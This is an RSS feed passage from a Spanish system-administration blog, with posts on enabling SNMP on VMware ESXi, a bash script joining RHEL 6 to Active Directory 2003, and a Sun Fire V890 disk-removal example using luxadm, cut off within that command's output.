<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>VIDANEZ SITE</title>
	<atom:link href="http://www.vidanez.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.vidanez.com</link>
	<description>ADMINISTRACION INSTALACIONES Y DISEÑO DE ARQUITECTURAS</description>
	<lastBuildDate>Mon, 25 Mar 2013 20:24:33 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=</generator>
		<item>
		<title>Añadir SNMP a VmWare ESXi 4.X o 5.X</title>
		<link>http://www.vidanez.com/2013/03/25/anadir-snmp-a-vmware-esxi-4-x-o-5-x/</link>
		<comments>http://www.vidanez.com/2013/03/25/anadir-snmp-a-vmware-esxi-4-x-o-5-x/#comments</comments>
		<pubDate>Mon, 25 Mar 2013 20:24:33 +0000</pubDate>
		<dc:creator>Juan José Vidañez</dc:creator>
				<category><![CDATA[VMWARE]]></category>
		<category><![CDATA[esx]]></category>
		<category><![CDATA[esxi]]></category>
		<category><![CDATA[snmp]]></category>
		<category><![CDATA[vmware]]></category>

		<guid isPermaLink="false">http://www.vidanez.com/?p=210</guid>
		<description><![CDATA[Desde Vcenter tenemos la opci&#243;n de usar el protocolo SNMP en modo push, y podemos llegar a configurar hasta 4 receptores. Para configurarlo accedemos a &#34;Administration&#62;Vcenter Server Settings&#62;SNMP&#34; Si fuera necesario a trav&#233;s de l&#237;neas de c&#243;digo en power shell podr&#237;amos a&#241;adir incluso alguno mas. &#160; Pero tambi&#233;n nos puede interesar que nuestros Hosts ESXi [...]]]></description>
				<content:encoded><![CDATA[<p>Desde Vcenter tenemos la opci&oacute;n de usar el protocolo SNMP en modo push, y podemos llegar a configurar hasta 4 receptores. Para configurarlo accedemos a &quot;Administration&gt;Vcenter Server Settings&gt;SNMP&quot;</p>
<a class="vt-p" href="http://www.vidanez.com/wp-content/uploads/2013/03/snmpsettings.jpg"><img alt="Vcenter server settings SNMP" class="size-medium wp-image-215" height="294" src="http://www.vidanez.com/wp-content/uploads/2013/03/snmpsettings-300x294.jpg" width="300" /></a>
<p>Si fuera necesario a trav&eacute;s de l&iacute;neas de c&oacute;digo en power shell podr&iacute;amos a&ntilde;adir incluso alguno mas.</p>
<p>&nbsp;</p>
<p>Pero tambi&eacute;n nos puede interesar que nuestros Hosts ESXi sean capaces de ser preguntados usando protocolo SNMP en modo polling desde alguna aplicaci&oacute;n que sea capaz de consumir SNMP. &nbsp;Debemos hacerlo modificaci&oacute;n el siguiente fichero:</p>
<p><span style="font-size:10px;"><em># vi /etc/vmware/snmp.xml</em></span></p>
<p><span style="font-size:10px;"><em>&lt;config&gt;&lt;snmpSettings&gt;&lt;enable&gt;true&lt;/enable&gt;&lt;communities&gt;TU_COMUNIDAD_SNMP&lt;/communities&gt;&lt;targets&gt;&lt;/targets&gt;&lt;/snmpSettings&gt;&lt;/config&gt;</em></span></p>
<p><span style="font-size:10px;"><em># services.sh restart</em></span></p>
<p class="p1">Un par de consejos, pon el Server en &quot;maintenance&quot; ya que perder&aacute;s acceso durante unos segundo y si tienes configurado el HA te puede saltar. Y en el nombre de la comunidad usa cualquier cosa que no sea &quot;public&quot; o &quot;default&quot; como medida de seguridad.</p>
<p class="p1">Las MIB no te sera dif&iacute;cil encontrarlas, aqu&iacute; te dejo alg&uacute;n link:</p>
<p class="p1">https://my.vmware.com/web/vmware/details?downloadGroup=ESX40-SNMP-MIB-DT&amp;productId=230</p>
<p class="p1">https://my.vmware.com/web/vmware/details?downloadGroup=SNMP_MIBS&amp;productId=229</p>
<p class="p1">https://my.vmware.com/web/vmware/details?downloadGroup=VSP510-SNMPMIBS-510&amp;productId=285</p>
<p class="p1">Puedes buscarlas en la p&aacute;gina de &quot;Download&quot; de VmWare</p>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.vidanez.com%2F2013%2F03%2F25%2Fanadir-snmp-a-vmware-esxi-4-x-o-5-x%2F&amp;title=A%C3%B1adir%20SNMP%20a%20VmWare%20ESXi%204.X%20o%205.X" id="wpa2a_2"><img src="http://www.vidanez.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.vidanez.com/2013/03/25/anadir-snmp-a-vmware-esxi-4-x-o-5-x/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Validar y autenticar Red Hat 6 (RHEL 6) con Active Directory 2003</title>
		<link>http://www.vidanez.com/2012/07/09/validar-y-autenticar-red-hat-6-rhel-6-con-active-directory-2003/</link>
		<comments>http://www.vidanez.com/2012/07/09/validar-y-autenticar-red-hat-6-rhel-6-con-active-directory-2003/#comments</comments>
		<pubDate>Mon, 09 Jul 2012 12:06:26 +0000</pubDate>
		<dc:creator>Juan José Vidañez</dc:creator>
				<category><![CDATA[LINUX]]></category>
		<category><![CDATA[Active Directory 2003]]></category>
		<category><![CDATA[Red Hat]]></category>
		<category><![CDATA[Red Hat 6]]></category>
		<category><![CDATA[RHEL6]]></category>

		<guid isPermaLink="false">http://www.vidanez.com/?p=193</guid>
		<description><![CDATA[&#218;ltimamente me he encontrado en una situaci&#243;n curiosa al tener que validar contra un AD 2003 y posterior mente soportar la migraci&#243;n al AD 2008 R2. Despu&#233;s de un poco de investigaci&#243;n y tiempo he encontrado un par de opciones viables. Requisitos previos: 1. NTP. Nuestro servidor de NTP debe ser el mismo que el [...]]]></description>
				<content:encoded><![CDATA[<p>&Uacute;ltimamente me he encontrado en una situaci&oacute;n curiosa al tener que validar contra un AD 2003 y posterior mente soportar la migraci&oacute;n al AD 2008 R2. Despu&eacute;s de un poco de investigaci&oacute;n y tiempo he encontrado un par de opciones viables.</p>
<p>Requisitos previos:</p>
<p>1. NTP. Nuestro servidor de NTP debe ser el mismo que el de los Domain Controllers de Windows a los que nos vamos a conectar.</p>
<p>2. FQDN. El comando &quot;hostname -f&quot; debe devolvernos el mismo dominio que el controlado por los Domain Controllers, en otras palabras deben usar sus mismos DNS, si son internos al dominio, algo bastante com&uacute;n, pues debe darse de alta en el.</p>
<p>3. GROUPS. No podemos tener el mismo nombre en los grupos de Windows y los grupos Unix. Bueno si podemos pero tenemos que tener claro que si coinciden en nombre prevalecer&aacute;n los permisos de Unix. Quiere decir que si el usuario no existe en el grupo de Unix que se llama igual que el de Windows, dar&aacute; igual que este en el Windows o no.</p>
<p>4. MAY&Uacute;SCULAS. El script que presento tiene may&uacute;sculas y min&uacute;sculas, poned vuestros datos con el mismo orden. Kerberos es <em>&quot;case sesitive</em>&quot; y no funcionara si no lo respet&aacute;is.</p>
<p>5. SYSADMINX. Con este script solo permitimos a los que pertenecen al grupo &quot;sysadminx&quot; entrar al sistema. Esta como requisito en la configuraci&oacute;n de pam. Esto puede ser cambiado por cualquier grupo de nuestra elecci&oacute;n o simplemente eliminar la l&iacute;nea para permitir a cualquiera acceder.&nbsp;</p>
<p><span id="more-193"></span></p>
<p>Script:</p>
<p>&nbsp;</p>
<div><span style="font-size:10px;">#!/bin/bash</span></div>
<div><span style="font-size:10px;">#&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;+</span></div>
<div><span style="font-size:10px;">#<span class="Apple-tab-span" style="white-space: pre; "> </span>Purpose&nbsp; :Script for connect to Active Directory 2003</span></div>
<div><span style="font-size:10px;">#<span class="Apple-tab-span" style="white-space: pre; "> </span>Shell&nbsp;&nbsp;&nbsp; :Bash</span></div>
<div><span style="font-size:10px;">#<span class="Apple-tab-span" style="white-space: pre; "> </span>OS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; :RHEL 6</span></div>
<div><span style="font-size:10px;">#<span class="Apple-tab-span" style="white-space: pre; "> </span>Version&nbsp; :1.0</span></div>
<div><span style="font-size:10px;">#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Revision :0</span></div>
<div><span style="font-size:10px;">#<span class="Apple-tab-span" style="white-space: pre; "> </span>Author&nbsp;&nbsp; :JJ Vidanez</span></div>
<div><span style="font-size:10px;">#&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;+</span></div>
<div><span style="font-size:10px;"><br />
	</span></div>
<div><span style="font-size:10px;">WORKGR=EXAMPLE</span></div>
<div><span style="font-size:10px;">DOMAIN=EXAMPLE.LOCAL</span></div>
<div><span style="font-size:10px;">KRBREALM=EXAMPLE.LOCAL</span></div>
<div><span style="font-size:10px;">DC1=dc1.example.local</span></div>
<div><span style="font-size:10px;">DC2=dc2.example.local</span></div>
<div><span style="font-size:10px;"><br />
	</span></div>
<div><span style="font-size:10px;">[[ -n &quot;$1&quot; ]] || { echo &quot;Parameter AD admin account needed&quot;; exit 0 ; }</span></div>
<div><span style="font-size:10px;"><br />
	</span></div>
<div><span style="font-size:10px;">echo &quot;[*] Installing required authentication packages&quot;</span></div>
<div><span style="font-size:10px;">for package in samba-common pam_krb5 sudo authconfig samba-winbind samba-winbind-clients krb5-libs krb5-workstation</span></div>
<div><span style="font-size:10px;">do</span></div>
<div><span style="font-size:10px;">&nbsp; rpm -q ${package} &gt;/dev/null 2&gt;&amp;1</span></div>
<div><span style="font-size:10px;">&nbsp; if [[ $? -ne 0 ]]</span></div>
<div><span style="font-size:10px;">&nbsp; then</span></div>
<div><span style="font-size:10px;">&nbsp;&nbsp;&nbsp; echo &quot;&#8230; installing ${package}&quot;</span></div>
<div><span style="font-size:10px;">&nbsp;&nbsp;&nbsp; yum -y install ${package} &gt;/dev/null 2&gt;&amp;1</span></div>
<div><span style="font-size:10px;">&nbsp;&nbsp;&nbsp; if [[ $? -ne 0 ]]</span></div>
<div><span style="font-size:10px;">&nbsp;&nbsp;&nbsp; then</span></div>
<div><span style="font-size:10px;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; echo &quot;${package} installation failed&quot;</span></div>
<div><span style="font-size:10px;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; exit 1</span></div>
<div><span style="font-size:10px;">&nbsp;&nbsp;&nbsp; fi</span></div>
<div><span style="font-size:10px;">&nbsp; fi</span></div>
<div><span style="font-size:10px;">done</span></div>
<div><span style="font-size:10px;"><br />
	</span></div>
<div><span style="font-size:10px;"><br />
	</span></div>
<div><span style="font-size:10px;">echo &quot;[*] Configuring Kerberos, samba and winbind&quot;</span></div>
<div><span style="font-size:10px;"><br />
	</span></div>
<div><span style="font-size:10px;">authconfig \</span></div>
<div><span style="font-size:10px;">&#8211;disablecache \</span></div>
<div><span style="font-size:10px;">&#8211;disablesssd \</span></div>
<div><span style="font-size:10px;">&#8211;disablesssdauth \</span></div>
<div><span style="font-size:10px;">&#8211;disableldapauth \</span></div>
<div><span style="font-size:10px;">&#8211;disableldap \</span></div>
<div><span style="font-size:10px;">&#8211;disablefingerprintauth \</span></div>
<div><span style="font-size:10px;">&#8211;disablefingerprint \</span></div>
<div><span style="font-size:10px;">&#8211;enablewinbind \</span></div>
<div><span style="font-size:10px;">&#8211;enablewinbindauth \</span></div>
<div><span style="font-size:10px;">&#8211;smbsecurity=ads \</span></div>
<div><span style="font-size:10px;">&#8211;smbworkgroup=${WORKGR} \</span></div>
<div><span style="font-size:10px;">&#8211;smbrealm=${DOMAIN} \</span></div>
<div><span style="font-size:10px;">&#8211;enablewinbindusedefaultdomain \</span></div>
<div><span style="font-size:10px;">&#8211;winbindtemplatehomedir=/export/home/%U \</span></div>
<div><span style="font-size:10px;">&#8211;winbindtemplateshell=/bin/bash \</span></div>
<div><span style="font-size:10px;">&#8211;enablekrb5 &#8211;krb5realm=${KRBREALM} \</span></div>
<div><span style="font-size:10px;">&#8211;enablekrb5kdcdns \</span></div>
<div><span style="font-size:10px;">&#8211;enablekrb5realmdns \</span></div>
<div><span style="font-size:10px;">&#8211;enablelocauthorize \</span></div>
<div><span style="font-size:10px;">&#8211;enablemkhomedir \</span></div>
<div><span style="font-size:10px;">&#8211;enablepamaccess \</span></div>
<div><span style="font-size:10px;">&#8211;updateall</span></div>
<div><span style="font-size:10px;"><br />
	</span></div>
<div><span style="font-size:10px;">echo &quot;[*] Saving originals krb5.conf and smb.conf&quot;</span></div>
<div><span style="font-size:10px;">mv /etc/samba/smb.conf /etc/samba/smb.conf.orig</span></div>
<div><span style="font-size:10px;">mv /etc/krb5.conf /etc/krb5.conf.orig</span></div>
<div><span style="font-size:10px;"><br />
	</span></div>
<div><span style="font-size:10px;">echo &quot;[*] Introducing new /etc/krb5.conf&quot;</span></div>
<div><span style="font-size:10px;">cat &lt;&lt;EOF&gt; /etc/krb5.conf</span></div>
<div><span style="font-size:10px;">[logging]</span></div>
<div><span style="font-size:10px;">default = FILE:/var/log/krb5libs.log</span></div>
<div><span style="font-size:10px;">kdc = FILE:/var/log/krb5kdc.log</span></div>
<div><span style="font-size:10px;">admin_server = FILE:/var/log/kadmind.log</span></div>
<div><span style="font-size:10px;"><br />
	</span></div>
<div><span style="font-size:10px;">[libdefaults]</span></div>
<div><span style="font-size:10px;">default_realm = EXAMPLE.LOCAL</span></div>
<div><span style="font-size:10px;">dns_lookup_realm = true</span></div>
<div><span style="font-size:10px;">dns_lookup_kdc = false</span></div>
<div><span style="font-size:10px;">ticket_lifetime = 24h</span></div>
<div><span style="font-size:10px;">renew_lifetime = 7d</span></div>
<div><span style="font-size:10px;">forwardable = true</span></div>
<div><span style="font-size:10px;"><br />
	</span></div>
<div><span style="font-size:10px;">[realms]</span></div>
<div><span style="font-size:10px;"><br />
	</span></div>
<div><span style="font-size:10px;">EXAMPLE.LOCAL = {</span></div>
<div><span style="font-size:10px;">&nbsp; kdc = dc1.example.local</span></div>
<div><span style="font-size:10px;">&nbsp; kdc = dc2.example.local</span></div>
<div><span style="font-size:10px;">&nbsp; admin_server = dc1.example.local</span></div>
<div><span style="font-size:10px;">&nbsp; admin_server = dc2.example.local</span></div>
<div><span style="font-size:10px;">}</span></div>
<div><span style="font-size:10px;"><br />
	</span></div>
<div><span style="font-size:10px;">[domain_realm]</span></div>
<div><span style="font-size:10px;">example.local = EXAMPLE.LOCAL</span></div>
<div><span style="font-size:10px;">.example.local = EXAMPLE.LOCAL</span></div>
<div><span style="font-size:10px;"><br />
	</span></div>
<div><span style="font-size:10px;">[kdc]</span></div>
<div><span style="font-size:10px;">profile = /var/kerberos/krb5kdc/kdc.conf</span></div>
<div><span style="font-size:10px;"><br />
	</span></div>
<div><span style="font-size:10px;">[appdefaults]</span></div>
<div><span style="font-size:10px;">pam = {</span></div>
<div><span style="font-size:10px;">&nbsp;&nbsp;&nbsp;&nbsp; debug = false</span></div>
<div><span style="font-size:10px;">&nbsp;&nbsp;&nbsp;&nbsp; ticket_lifetime = 36000</span></div>
<div><span style="font-size:10px;">&nbsp;&nbsp;&nbsp;&nbsp; renew_lifetime = 36000</span></div>
<div><span style="font-size:10px;">&nbsp;&nbsp;&nbsp;&nbsp; forwardable = true</span></div>
<div><span style="font-size:10px;">&nbsp;&nbsp;&nbsp;&nbsp; krb4_convert = false</span></div>
<div><span style="font-size:10px;">}</span></div>
<div><span style="font-size:10px;">EOF</span></div>
<div><span style="font-size:10px;"><br />
	</span></div>
<div><span style="font-size:10px;">echo &quot;[*] Introducing new /etc/samba/smb.conf&quot;</span></div>
<div><span style="font-size:10px;">cat &lt;&lt;EOF&gt; /etc/samba/smb.conf</span></div>
<div><span style="font-size:10px;">[global]</span></div>
<div><span style="font-size:10px;">workgroup = EXAMPLE</span></div>
<div><span style="font-size:10px;">realm = EXAMPLE.LOCAL</span></div>
<div><span style="font-size:10px;">security = ads</span></div>
<div><span style="font-size:10px;">idmap uid = 16777216-33554431</span></div>
<div><span style="font-size:10px;">idmap gid = 16777216-33554431</span></div>
<div><span style="font-size:10px;">winbind separator = +</span></div>
<div><span style="font-size:10px;">template homedir = /export/home/%U</span></div>
<div><span style="font-size:10px;">template shell = /bin/bash</span></div>
<div><span style="font-size:10px;">winbind use default domain = true</span></div>
<div><span style="font-size:10px;">winbind offline logon = false</span></div>
<div><span style="font-size:10px;">server signing = auto</span></div>
<div><span style="font-size:10px;">server string = Samba Server</span></div>
<div><span style="font-size:10px;">winbind enum users = yes</span></div>
<div><span style="font-size:10px;">winbind enum groups = yes</span></div>
<div><span style="font-size:10px;">idmap config EXAMPLE:backend = rid</span></div>
<div><span style="font-size:10px;">idmap config EXAMPLE:base_rid = 500</span></div>
<div><span style="font-size:10px;">idmap config EXAMPLE:range = 90000-1000000</span></div>
<div><span style="font-size:10px;"><br />
	</span></div>
<div><span style="font-size:10px;">[homes]</span></div>
<div><span style="font-size:10px;">comment = AD User Home Directories</span></div>
<div><span style="font-size:10px;">browseable = no</span></div>
<div><span style="font-size:10px;">writable = yes</span></div>
<div><span style="font-size:10px;">valid users = %D+%S</span></div>
<div><span style="font-size:10px;">EOF</span></div>
<div><span style="font-size:10px;"><br />
	</span></div>
<div><span style="font-size:10px;"><br />
	</span></div>
<div><span style="font-size:10px;">echo &quot;[*] Modifying SSHD to support PAM authentication&quot;</span></div>
<div><span style="font-size:10px;">grep -e &#39;^UsePAM.*&#39; /etc/ssh/sshd_config &gt;/dev/null 2&gt;&amp;1</span></div>
<div><span style="font-size:10px;">if [[ $? -ne 0 ]]</span></div>
<div><span style="font-size:10px;">then</span></div>
<div><span style="font-size:10px;">cat &lt;&lt; EOF &gt;&gt; /etc/ssh/sshd_config</span></div>
<div><span style="font-size:10px;">UsePAM yes</span></div>
<div><span style="font-size:10px;">EOF</span></div>
<div><span style="font-size:10px;">else</span></div>
<div><span style="font-size:10px;">perl -pi -e &#39;s|^UsePAM.*|UsePAM yes|&#39; /etc/ssh/sshd_config</span></div>
<div><span style="font-size:10px;">fi</span></div>
<div><span style="font-size:10px;"><br />
	</span></div>
<div><span style="font-size:10px;">echo &quot;[*] Modifying pam for mkhomedir arguments and winbind&quot;</span></div>
<div><span style="font-size:10px;">mv /etc/pam.d/password-auth /etc/pam.d/password-auth.orig</span></div>
<div><span style="font-size:10px;">mv /etc/pam.d/system-auth /etc/pam.d/system-auth.orig</span></div>
<div><span style="font-size:10px;">cat &lt;&lt;EOF&gt; /etc/pam.d/password-auth</span></div>
<div><span style="font-size:10px;">#%PAM-1.0</span></div>
<div><span style="font-size:10px;"># This file is auto-generated.</span></div>
<div><span style="font-size:10px;"># User changes will be destroyed the next time authconfig is run.</span></div>
<div><span style="font-size:10px;">auth&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; required&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pam_env.so</span></div>
<div><span style="font-size:10px;">auth&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sufficient&nbsp;&nbsp;&nbsp; pam_unix.so nullok try_first_pass</span></div>
<div><span style="font-size:10px;">auth&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; requisite&nbsp;&nbsp;&nbsp;&nbsp; pam_succeed_if.so user ingroup sysadminx debug</span></div>
<div><span style="font-size:10px;">auth&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; requisite&nbsp;&nbsp;&nbsp;&nbsp; pam_succeed_if.so uid &gt;= 500 quiet</span></div>
<div><span style="font-size:10px;">auth&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sufficient&nbsp;&nbsp;&nbsp; pam_krb5.so use_first_pass</span></div>
<div><span style="font-size:10px;">auth&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sufficient&nbsp;&nbsp;&nbsp; pam_winbind.so use_first_pass</span></div>
<div><span style="font-size:10px;">auth&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; required&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pam_deny.so</span></div>
<div><span style="font-size:10px;"><br />
	</span></div>
<div><span style="font-size:10px;">account&nbsp;&nbsp;&nbsp;&nbsp; required&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pam_access.so</span></div>
<div><span style="font-size:10px;">account&nbsp;&nbsp;&nbsp;&nbsp; required&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pam_unix.so broken_shadow</span></div>
<div><span style="font-size:10px;">account&nbsp;&nbsp;&nbsp;&nbsp; sufficient&nbsp;&nbsp;&nbsp; pam_localuser.so</span></div>
<div><span style="font-size:10px;">account&nbsp;&nbsp;&nbsp;&nbsp; sufficient&nbsp;&nbsp;&nbsp; pam_succeed_if.so uid &lt; 500 quiet</span></div>
<div><span style="font-size:10px;">account&nbsp;&nbsp;&nbsp;&nbsp; [default=bad success=ok user_unknown=ignore] pam_krb5.so</span></div>
<div><span style="font-size:10px;">account&nbsp;&nbsp;&nbsp;&nbsp; [default=bad success=ok user_unknown=ignore] pam_winbind.so</span></div>
<div><span style="font-size:10px;">account&nbsp;&nbsp;&nbsp;&nbsp; required&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pam_permit.so</span></div>
<div><span style="font-size:10px;"><br />
	</span></div>
<div><span style="font-size:10px;">password&nbsp;&nbsp;&nbsp; requisite&nbsp;&nbsp;&nbsp;&nbsp; pam_cracklib.so try_first_pass retry=3 type=</span></div>
<div><span style="font-size:10px;">password&nbsp;&nbsp;&nbsp; sufficient&nbsp;&nbsp;&nbsp; pam_unix.so sha512 shadow nullok try_first_pass use_authtok</span></div>
<div><span style="font-size:10px;">password&nbsp;&nbsp;&nbsp; sufficient&nbsp;&nbsp;&nbsp; pam_krb5.so use_authtok</span></div>
<div><span style="font-size:10px;">password&nbsp;&nbsp;&nbsp; sufficient&nbsp;&nbsp;&nbsp; pam_winbind.so use_authtok</span></div>
<div><span style="font-size:10px;">password&nbsp;&nbsp;&nbsp; required&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pam_deny.so</span></div>
<div><span style="font-size:10px;"><br />
	</span></div>
<div><span style="font-size:10px;">session&nbsp;&nbsp;&nbsp;&nbsp; optional&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pam_keyinit.so revoke</span></div>
<div><span style="font-size:10px;">session&nbsp;&nbsp;&nbsp;&nbsp; required&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pam_limits.so</span></div>
<div><span style="font-size:10px;">session&nbsp;&nbsp;&nbsp;&nbsp; optional&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pam_mkhomedir.so umask=0077</span></div>
<div><span style="font-size:10px;">session&nbsp;&nbsp;&nbsp;&nbsp; [success=1 default=ignore] pam_succeed_if.so service in crond quiet use_uid</span></div>
<div><span style="font-size:10px;">session&nbsp;&nbsp;&nbsp;&nbsp; required&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pam_unix.so</span></div>
<div><span style="font-size:10px;">session&nbsp;&nbsp;&nbsp;&nbsp; optional&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pam_krb5.so</span></div>
<div><span style="font-size:10px;">EOF</span></div>
<div><span style="font-size:10px;"><br />
	</span></div>
<div><span style="font-size:10px;">cp -p /etc/pam.d/password-auth /etc/pam.d/system-auth</span></div>
<div><span style="font-size:10px;"><br />
	</span></div>
<div><span style="font-size:10px;">echo &quot;[] Join to the domain&quot;</span></div>
<div><span style="font-size:10px;">net ads join -U $1</span></div>
<div><span style="font-size:10px;"><br />
	</span></div>
<div><span style="font-size:10px;">echo &quot;[*] Restarting services&quot;</span></div>
<div><span style="font-size:10px;">service winbind restart</span></div>
<div><span style="font-size:10px;"><br />
	</span></div>
<div><span style="font-size:10px;"><br />
	</span></div>
<div><span style="font-size:10px;"><br />
	</span></div>
<div><span style="font-size:10px;">##############################################################################</span></div>
<div><span style="font-size:10px;">### Vidanez.com is not responsible for the</span></div>
<div><span style="font-size:10px;">### contents, use or the code enclosed. </span></div>
<div><span style="font-size:10px;">###</span></div>
<div><span style="font-size:10px;">### Copyright 2012 vidanez.com, Inc. ALL RIGHTS RESERVED</span></div>
<div><span style="font-size:10px;">### Use of this software is under your own responsability</span></div>
<div><span style="font-size:10px;">### http://www.vidanez.com/responsabilidad-del-contenido/</span></div>
<div><span style="font-size:10px;">##############################################################################</span></div>
<p>&nbsp;</p>
<p>LINK to the script&nbsp;<a class="vt-p" href="http://www.vidanez.com/wp-content/uploads/2012/07/AD2003.txt">AD2003</a></p>
<p>Por ultimo en caso de que no os funcione os recomiendo que le ech&eacute;is un vistazo a los logs de kerberos y de <em>&quot;/var/logs/secure&quot;</em> que os dir&aacute; exactamente donde esta el fallo.</p>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.vidanez.com%2F2012%2F07%2F09%2Fvalidar-y-autenticar-red-hat-6-rhel-6-con-active-directory-2003%2F&amp;title=Validar%20y%20autenticar%20Red%20Hat%206%20%28RHEL%206%29%20con%20Active%20Directory%202003" id="wpa2a_4"><img src="http://www.vidanez.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.vidanez.com/2012/07/09/validar-y-autenticar-red-hat-6-rhel-6-con-active-directory-2003/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Sun Fire V890 y demás máquinas antiguas. Hot-plug SCSI Device</title>
		<link>http://www.vidanez.com/2011/09/29/sun-fire-v890-y-demas-maquinas-antiguas-hot-plug-scsi-device/</link>
		<comments>http://www.vidanez.com/2011/09/29/sun-fire-v890-y-demas-maquinas-antiguas-hot-plug-scsi-device/#comments</comments>
		<pubDate>Thu, 29 Sep 2011 10:51:42 +0000</pubDate>
		<dc:creator>Juan José Vidañez</dc:creator>
				<category><![CDATA[SOLARIS]]></category>
		<category><![CDATA[SUN]]></category>
		<category><![CDATA[disks]]></category>
		<category><![CDATA[Dynamic Reconfiguration]]></category>
		<category><![CDATA[hotplug]]></category>
		<category><![CDATA[luxadm]]></category>
		<category><![CDATA[remove scsi device]]></category>
		<category><![CDATA[Sun Fire]]></category>
		<category><![CDATA[V890]]></category>

		<guid isPermaLink="false">http://www.vidanez.com/?p=187</guid>
		<description><![CDATA[Me he encontrado con una m&#225;quina muy antigua una Sun Fire V890, y con unos discos que tenia que sacar. Esta m&#225;quina usa &#34;Dynamic Reconfiguration&#34; o DR por lo tanto sus discos se pueden poner en &#34;Ready to remove&#34; y encienden su led para ese cometido. Dada la antig&#252;edad de estos sistemas, no utilizan el [...]]]></description>
				<content:encoded><![CDATA[<p>Me he encontrado con una m&aacute;quina muy antigua una Sun Fire V890, y con unos discos que tenia que sacar.</p>
<p>Esta m&aacute;quina usa &quot;Dynamic Reconfiguration&quot; o DR por lo tanto sus discos se pueden poner en &quot;Ready to remove&quot; y encienden su led para ese cometido.</p>
<p>Dada la antig&uuml;edad de estos sistemas, no utilizan el comando que cualquiera supondria &quot;cfgadm&quot; si no que aun usan el &quot;luxadm&quot; como con los antiguos PHOTON o Sun A5200.</p>
<p>Os dejo con el ejemplo:</p>
<p>&nbsp;</p>
<div><span style="font-size:10px;"><em>root@example / # luxadm remove_device -F /dev/rdsk/c1t4d0s0</em></span></div>
<div><span style="font-size:10px;"><em><br />
	</em></span></div>
<div><span style="font-size:10px;"><em>&nbsp;WARNING!!! Please ensure that no filesystems are mounted on these device(s).</em></span></div>
<div><span style="font-size:10px;"><em>&nbsp;All data on these devices should have been backed up.</em></span></div>
<div><span style="font-size:10px;"><em><br />
	</em></span></div>
<div><span style="font-size:10px;"><em><br />
	</em></span></div>
<div><span style="font-size:10px;"><em>The list of devices which will be removed is:</em></span></div>
<div><span style="font-size:10px;"><em>&nbsp; 1: Box Name: &nbsp; &nbsp;&quot;FCloop&quot; slot 4</em></span></div>
<div><span style="font-size:10px;"><em>&nbsp; &nbsp; &nbsp;Node WWN: &nbsp; &nbsp;500000e010394d30</em></span></div>
<div><span style="font-size:10px;"><em>&nbsp; &nbsp; &nbsp;Device Type:Disk device</em></span></div>
<div><span style="font-size:10px;"><em>&nbsp; &nbsp; &nbsp;Device Paths:</em></span></div>
<div><span style="font-size:10px;"><em>&nbsp; &nbsp; &nbsp; /dev/rdsk/c1t4d0s2</em></span></div>
<div><span style="font-size:10px;"><em><br />
	</em></span></div>
<div><span style="font-size:10px;"><em><br />
	</em></span></div>
<div><span style="font-size:10px;"><em>Please verify the above list of devices and</em></span></div>
<div><span style="font-size:10px;"><em>then enter &#39;c&#39; or &lt;CR&gt; to Continue or &#39;q&#39; to Quit. [Default: c]:</em></span></div>
<div><span style="font-size:10px;"><em>stopping: &nbsp;Drive in &quot;FCloop&quot; slot 4&#8230;.Done</em></span></div>
<div><span style="font-size:10px;"><em>offlining: Drive in &quot;FCloop&quot; slot 4&#8230;.Done</em></span></div>
<div><span style="font-size:10px;"><em><br />
	</em></span></div>
<div><span style="font-size:10px;"><em>Hit &lt;Return&gt; after removing the device(s).</em></span></div>
<div><span style="font-size:10px;"><em><br />
	</em></span></div>
